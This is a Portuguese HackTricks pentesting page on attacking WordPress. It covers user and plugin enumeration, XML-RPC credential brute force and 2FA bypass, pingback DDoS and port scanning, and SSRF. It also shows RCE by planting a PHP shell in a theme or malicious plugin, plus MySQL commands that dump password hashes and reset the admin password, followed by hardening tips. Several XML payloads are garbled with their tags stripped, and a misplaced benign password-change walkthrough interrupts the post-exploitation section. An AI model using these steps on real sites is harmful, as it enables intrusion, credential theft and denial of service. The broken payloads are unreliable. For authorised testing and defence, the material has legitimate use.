# Wordpress
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
![](../.gitbook/assets/image%20\(9\)%20\(1\)%20\(2\).png)
\
Use [**Trickest**](https://trickest.io/) para construir e **automatizar fluxos de trabalho** com as ferramentas da comunidade mais avançadas do mundo.\
Obtenha acesso hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Informações básicas
Os arquivos **carregados** vão para: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`\
Os arquivos de **temas podem ser encontrados em /wp-content/themes/**, então se você alterar algum php do tema para obter RCE, provavelmente usará esse caminho. Por exemplo: Usando o **tema twentytwelve** você pode **acessar** o arquivo **404.php** em: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)\
**Outra URL útil poderia ser:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
No arquivo **wp-config.php** você pode encontrar a senha raiz do banco de dados.
Caminhos de login padrão para verificar: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **Principais arquivos do WordPress**
* `index.php`
* `license.txt` contém informações úteis, como a versão do WordPress instalada.
* `wp-activate.php` é usado para o processo de ativação por e-mail ao configurar um novo site WordPress.
* Pastas de login (podem ser renomeadas para ocultá-las):
* `/wp-admin/login.php`
* `/wp-admin/wp-login.php`
* `/login.php`
* `/wp-login.php`
* `xmlrpc.php` é um arquivo que representa um recurso do WordPress que permite a transmissão de dados com HTTP atuando como mecanismo de transporte e XML como mecanismo de codificação. Esse tipo de comunicação foi substituído pela [REST API](https://developer.wordpress.org/rest-api/reference) do WordPress.
* A pasta `wp-content` é o diretório principal onde os plugins e temas são armazenados.
* `wp-content/uploads/` é o diretório onde quaisquer arquivos carregados na plataforma são armazenados.
* `wp-includes/` Este é o diretório onde os arquivos principais são armazenados, como certificados, fontes, arquivos JavaScript e widgets.
**Pós-exploração**
* O arquivo `wp-config.php` contém informações necessárias pelo WordPress para se conectar ao banco de dados, como o nome do banco de dados, host do banco de dados, nome de usuário e senha, chaves e salts de autenticação e o prefixo da tabela do banco de dados. Este arquivo de configuração também pode ser usado para ativar o modo DEBUG, que pode ser útil na solução de problemas.
### Permissões de usuários
* **Administrador**
* **Editor**: Publica e gerencia suas próprias postagens e as de outros
* **Autor**: Publica e gerencia suas próprias postagens
* **Contribuidor**: Escreve e gerencia suas postagens, mas não pode publicá-las
* **Assinante**: Navega pelas postagens e edita seu perfil
## Enumeração passiva
### Obter a versão do WordPress
Verifique se você pode encontrar os arquivos `/license.txt` ou `/readme.html`
Dentro do **código-fonte** da página (exemplo de [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
* grep
```bash
curl https://victim.com/ | grep 'content="WordPress'
```
* `meta name`
![](<../../.gitbook/assets/image (343).png>)
* Arquivos de link CSS
![](<../../.gitbook/assets/image (344).png>)
* Arquivos JavaScript
![](<../../.gitbook/assets/image (346).png>)
### Obter Plugins
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### Obter Temas
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### Extrair versões em geral
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
![](../.gitbook/assets/image%20\(9\)%20\(1\)%20\(2\).png)
Use [**Trickest**](https://trickest.io/) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
Obtenha acesso hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Enumeração ativa
### Plugins e Temas
Provavelmente, você não será capaz de encontrar todos os Plugins e Temas possíveis. Para descobrir todos eles, você precisará **forçar ativamente uma lista de Plugins e Temas** (felizmente, existem ferramentas automatizadas que contêm essas listas).
### Usuários
**Força bruta de ID**
Você pode obter usuários válidos de um site WordPress por meio de força bruta de IDs de usuários:
```
curl -s -I -X GET http://blog.example.com/?author=1
```
Se as respostas forem **200** ou **30X**, isso significa que o id é **válido**. Se a resposta for **400**, então o id é **inválido**.
**wp-json**
Você também pode tentar obter informações sobre os usuários consultando:
```
curl http://blog.example.com/wp-json/wp/v2/users
```
**Apenas informações sobre os usuários que possuem essa funcionalidade habilitada serão fornecidas**.
Também observe que **/wp-json/wp/v2/pages** pode vazar endereços IP.
#### Enumeração de nome de usuário de login
Ao fazer login em **`/wp-login.php`**, a **mensagem** é **diferente** se o **nome de usuário indicado existe ou não**.
### XML-RPC
Se `xml-rpc.php` estiver ativo, você pode realizar uma força bruta de credenciais ou usá-lo para lançar ataques DoS a outros recursos. (Você pode automatizar esse processo [usando isso](https://github.com/relarizky/wpxploit), por exemplo).
Para ver se está ativo, tente acessar _**/xmlrpc.php**_ e envie esta solicitação:
**Verificar**
```markup
system.listMethods
```
![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656)
**Força Bruta de Credenciais**
**`wp.getUserBlogs`**, **`wp.getCategories`** ou **`metaWeblog.getUsersBlogs`** são alguns dos métodos que podem ser usados para força bruta de credenciais. Se você encontrar algum deles, pode enviar algo como:
```markup
wp.getUsersBlogsadminpass
```
A mensagem _"Nome de usuário ou senha incorretos"_ dentro de uma resposta de código 200 deve aparecer se as credenciais não forem válidas.
![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2).png>)
![](<../../.gitbook/assets/image (102).png>)
Usando as credenciais corretas, você pode fazer upload de um arquivo. Na resposta, o caminho aparecerá ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
```markup
wp.uploadFile1usernamepasswordnamefilename.jpgtypemime/typebits
```
Também há uma **maneira mais rápida** de forçar credenciais usando **`system.multicall`** pois você pode tentar várias credenciais na mesma solicitação:
**Burlar 2FA**
Este método é destinado a programas e não a humanos, e é antigo, portanto não suporta 2FA. Então, se você tiver credenciais válidas, mas a entrada principal estiver protegida por 2FA, **você pode ser capaz de abusar do xmlrpc.php para fazer login com essas credenciais, burlando o 2FA**. Observe que você não poderá executar todas as ações que pode fazer através do console, mas ainda poderá chegar ao RCE, como Ippsec explica em [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s)
**DDoS ou varredura de porta**
Se você encontrar o método _**pingback.ping**_ na lista, pode fazer o Wordpress enviar uma solicitação arbitrária para qualquer host/porta.\
Isso pode ser usado para pedir que **milhares** de **sites** Wordpress acessem um **local** (para que um **DDoS** seja causado nesse local) ou você pode usá-lo para fazer o **Wordpress** escanear alguma **rede** interna (você pode indicar qualquer porta).
```markup
pingback.pinghttp://:http://
```
Se você receber **faultCode** com um valor **maior** que **0** (17), significa que a porta está aberta.
Dê uma olhada no uso de **`system.multicall`** na seção anterior para aprender como abusar desse método para causar DDoS.
**DDoS**
```markup
pingback.pinghttp://target/http://yoursite.com/and_some_valid_blog_post_url
```
![](<../../.gitbook/assets/image (103).png>)
### wp-cron.php DoS
Este arquivo geralmente existe na raiz do site Wordpress: **`/wp-cron.php`**\
Quando este arquivo é **acessado** uma **consulta** MySQL "**pesada**" é realizada, então ele pode ser usado por **atacantes** para **causar** um **DoS**.\
Além disso, por padrão, o `wp-cron.php` é chamado em cada carregamento de página (sempre que um cliente solicita qualquer página do Wordpress), o que em sites de alto tráfego pode causar problemas (DoS).
É recomendado desativar o Wp-Cron e criar um cronjob real dentro do host que execute as ações necessárias em um intervalo regular (sem causar problemas).
### /wp-json/oembed/1.0/proxy - SSRF
Tente acessar _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ e o site Wordpress pode fazer uma solicitação para você.
Esta é a resposta quando não funciona:
![](<../../.gitbook/assets/image (184) (1).png>)
### SSRF
{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}
Esta ferramenta verifica se o **methodName: pingback.ping** e para o caminho **/wp-json/oembed/1.0/proxy** existem e, se existirem, tenta explorá-los.
### Ferramentas Automáticas
```bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
```
![](../.gitbook/assets/image%20\(9\)%20\(1\)%20\(2\).png)
Use [**Trickest**](https://trickest.io/) para construir e automatizar facilmente fluxos de trabalho alimentados pelas ferramentas comunitárias mais avançadas do mundo.\
Obtenha acesso hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Obtenha acesso sobrescrevendo um pouco
Mais do que um ataque real, isso é uma curiosidade. No CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man), você pode inverter 1 bit de qualquer arquivo do WordPress. Então, você pode inverter a posição `5389` do arquivo `/var/www/html/wp-includes/user.php` para anular a operação NOT (`!`).
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
```
## **Panel RCE**
**Modificando um arquivo php do tema usado (são necessárias credenciais de administrador)**
Aparência → Editor de Temas → Modelo 404 (à direita)
Altere o conteúdo para um shell php:
![](<../../.gitbook/assets/image (21) (1) (1).png>)
Procure na internet como você pode acessar essa página atualizada. Neste caso, você tem que acessar aqui: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF
Você pode usar:
```
use exploit/unix/webapp/wp_admin_shell_upload
```
## Plugin RCE
### Plugin PHP
É possível fazer upload de arquivos .php como plugin.\
Crie sua backdoor php usando, por exemplo:
![](<../../.gitbook/assets/image (407).png>)
Em seguida, adicione um novo plugin:
![](<../../.gitbook/assets/image (409).png>)
Faça o upload do plugin e pressione Instalar agora:
![](<../../.gitbook/assets/image (411).png>)
Clique em Proceder:
![](<../../.gitbook/assets/image (412).png>)
Provavelmente, isso não fará nada aparentemente, mas se você for para Mídia, verá sua shell carregada:
![](<../../.gitbook/assets/image (413).png>)
Acesse-a e você verá a URL para executar a reverse shell:
![](<../../.gitbook/assets/image (414).png>)
### Fazendo upload e ativando plugin malicioso
**(Esta parte é copiada de** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)**)**
Às vezes, os usuários logados não possuem autorização gravável para fazer modificações no tema do WordPress, então escolhemos "Inject WP pulgin malicious" como uma estratégia alternativa para adquirir uma web shell.
Portanto, uma vez que você tenha acesso a um painel do WordPress, pode tentar instalar um plugin malicioso. Aqui, já baixei o plugin vulnerável do exploit db.
Clique [**aqui**](https://www.exploit-db.com/exploits/36374) para baixar o plugin para praticar.
![](https://i1.wp.com/1.bp.blogspot.com/-Y\_Aw7zSFJZs/XY9pymSjdvI/AAAAAAAAguY/FGyGEzlx9VIqNYyyra9r55IklNmwXwMQwCLcBGAsYHQ/s1600/10.png?w=687\&ssl=1)
Como temos o arquivo zip para o plugin, agora é hora de fazer o upload do plugin.
Painel > plugins > upload plugin
![](https://i0.wp.com/1.bp.blogspot.com/-FLhqB0I32Mg/XY9pyrlKWAI/AAAAAAAAguU/tofpIetTCv4Mho5y5D\_sDuuokC7mDmKowCLcBGAsYHQ/s1600/11.png?w=687\&ssl=1)
Procure o arquivo zip baixado, conforme mostrado.
![](https://i2.wp.com/1.bp.blogspot.com/-KMumiwE2Tf0/XY9pzznEI4I/AAAAAAAAguk/BavBJP6plFo8NIpa38oWEKfx0jkOXv3HgCLcBGAsYHQ/s1600/12.png?w=687\&ssl=1)
Assim que o pacote for instalado com sucesso, precisamos ativar o plugin.
![](https://i2.wp.com/1.bp.blogspot.com/-YrFg94Y2EZs/XY9pzydfLDI/AAAAAAAAgug/AjZyQ6Na8kUUmquJXwoapxcmr2-8nAMwQCLcBGAsYHQ/s1600/13.png?w=687\&ssl=1)
Quando tudo estiver bem configurado, vá para a exploração. Como instalamos o plugin vulnerável chamado "reflex-gallery" e é facilmente explorável.
Você obterá a exploração dessa vulnerabilidade dentro do framework Metasploit e, portanto, carregue o módulo abaixo e execute o seguinte comando:
À medida que os comandos acima são executados, você terá sua sessão meterpreter. Assim como retratado neste artigo, existem vários métodos para explorar um site com plataforma WordPress.
![](https://i1.wp.com/1.bp.blogspot.com/-s6Yblqj-zQ8/XY9pz0qYWAI/AAAAAAAAguo/WXgEBKIB64Ian\_RQWaltbEtdzCNpexKOwCLcBGAsYHQ/s1600/14.png?w=687\&ssl=1)
## Pós-Exploração
Extrair nomes de usuários e senhas:
```bash
mysql -u --password= -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
Alterar a senha do administrador:
Para alterar a senha do administrador no WordPress, siga os seguintes passos:
1. Faça login no painel de administração do WordPress com as credenciais do administrador.
2. Clique em "Usuários" no menu à esquerda.
3. Clique em "Editar" abaixo do nome de usuário "admin".
4. Role para baixo até a seção "Nova senha" e insira a nova senha desejada.
5. Clique em "Atualizar perfil" para salvar as alterações.
Certifique-se de escolher uma senha forte e exclusiva para garantir a segurança do seu site.
```bash
mysql -u --password= -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
```
## Proteção do WordPress
### Atualizações regulares
Certifique-se de que o WordPress, plugins e temas estejam atualizados. Confirme também se a atualização automática está habilitada no arquivo wp-config.php:
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
```
Também, **instale apenas plugins e temas WordPress confiáveis**.
### Plugins de Segurança
* [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
* [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
* [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)
### **Outras Recomendações**
* Remova o usuário padrão **admin**
* Use **senhas fortes** e **2FA**
* Periodicamente **revise** as **permissões** dos usuários
* **Limite as tentativas de login** para prevenir ataques de Força Bruta
* Renomeie o arquivo **`wp-admin.php`** e permita o acesso somente internamente ou de certos endereços IP.
![](../.gitbook/assets/image%20\(9\)%20\(1\)%20\(2\).png)
\
Use [**Trickest**](https://trickest.io/) para construir e **automatizar fluxos de trabalho** facilmente, com as ferramentas comunitárias mais avançadas do mundo.\
Acesse hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).